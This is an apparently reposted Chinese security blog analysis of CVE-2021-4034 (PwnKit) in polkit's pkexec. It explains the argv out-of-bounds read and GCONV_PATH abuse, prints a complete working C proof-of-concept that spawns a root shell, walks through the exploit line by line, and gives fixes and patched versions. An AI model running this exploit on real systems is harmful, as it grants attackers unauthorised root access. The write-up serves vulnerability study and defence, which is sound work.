CVE-2021-4034提权漏洞解析

admin 2022年7月4日19:32:37评论150 views字数 2223阅读7分24秒阅读模式
CVE-2021-4034提权漏洞解析

CVE-2021-4034提权漏洞解析



CVE-2021-4034提权漏洞解析


漏洞简介

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则去实现不同优先级进程之间的通讯,不过,与 sudo 程序不同的是,他并没有赋予进程完全的root权限,而是通过一个集中的策略系统进行更加精密的授权。

而 pkexec 是 polkit 的一个程序,可以以其他用户身份执行命令。

CVE-2021-4034提权漏洞解析

目前来看,虽然不需要看内核的版本,但是需要去看 pkexec 的版本;Centos7的话,0.105版本是可以成功提权的。

漏洞原理

当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。

漏洞分析

漏洞环境

主流 Linux 发行版即可,对 pkexec 的版本也没有要求。

POC

#include <stdio.h>#include <stdlib.h>#include <unistd.h>   char *shell =        "#include <stdio.h>n"        "#include <stdlib.h>n"        "#include <unistd.h>nn"        "void gconv() {}n"        "void gconv_init() {n"        "       setuid(0); setgid(0);n"        "       seteuid(0); setegid(0);n"        "       system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"        "       exit(0);n"        "}";          int main(int argc, char *argv[]) {       FILE *fp;       system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");       system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");       fp = fopen("pwnkit/pwnkit.c", "w");       fprintf(fp, "%s", shell);       fclose(fp);        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");       char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };       execve("/usr/bin/pkexec", (char*[]){NULL}, env);}

CVE-2021-4034提权漏洞解析

POC 分析

在 POC 中,第5到15行,构建 payload ,引入了一个 root 权限的 /bin/sh。

第19行,创建目录 GCONV_PATH=.,创建文件 GCONV_PATH=./pwnkit 并添加了执行权限。

第20行,创建目录 pwnkit,创建文件 pwnkit/gconv-modules 并写入内容 module UTF-8// PWNKIT// pwnkit 2

第21到24行,把 payload 写入 pwnkit/pwnkit.c 并编译为动态链接库 pwnkit/pwnkit.so

第25行,env[]一个特殊的数组,储存目录名,文件名等。

第26行,使用 execve 调用 pkexec,这里有个特别的参数 (char*[]){NULL},这也是整个 POC 的启动点。

注意

1.第26行,使用 execve 调用 pkexec(char*[]){NULL}造成 argv[1] 越界读取

2.第25行,一个特殊的数组,env[0]为 payload,env[1]引入了GCONV_PATH

3.第20行,设置非UTF-8环境,也就导致 payload 中 gconv_init 执行,造成 /bin/sh 执行,恢复环境变量得到 root shell。

利用思路总结

1.通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查。

2.通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH 。

3.构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权。

修复方案

及时升级组件

chmod 0775 /usr/bin/pkexec

从 pkexec 中删除SUID位

CVE-2021-4034提权漏洞解析

可以看出,在存在漏洞的版本中的 pkexec 是存在 SUID位的,将其删除即可。

CVE-2021-4034提权漏洞解析

当我们将其SUID位删除之后,exp无法执行,无法再次提权。

参考安全版本

centos6: polkit-0.96-11.e16_10.2
centos7: polkit-0.112-26.el7_9.1
centos8: polkit-0.115-13.el8_5.1
centos8.2: polkit-0.115-11.el8_2.2
centos8.4: polkit-0.115-11.el8_4.2



CVE-2021-4034提权漏洞解析

CVE-2021-4034提权漏洞解析

【渗透测试】Vulnhub靶场之Machine_Matrix

【渗透测试】Vulnhub靶场之cybox-1.1

【渗透测试】Vulnhub靶场之Node

【渗透测试】Vulnhub靶场之Catch Me If You Can


CVE-2021-4034提权漏洞解析
CVE-2021-4034提权漏洞解析
微信搜一搜
CVE-2021-4034提权漏洞解析
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):CVE-2021-4034提权漏洞解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日19:32:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-4034提权漏洞解析https://cn-sec.com/archives/1157124.html

发表评论

匿名网友 填写信息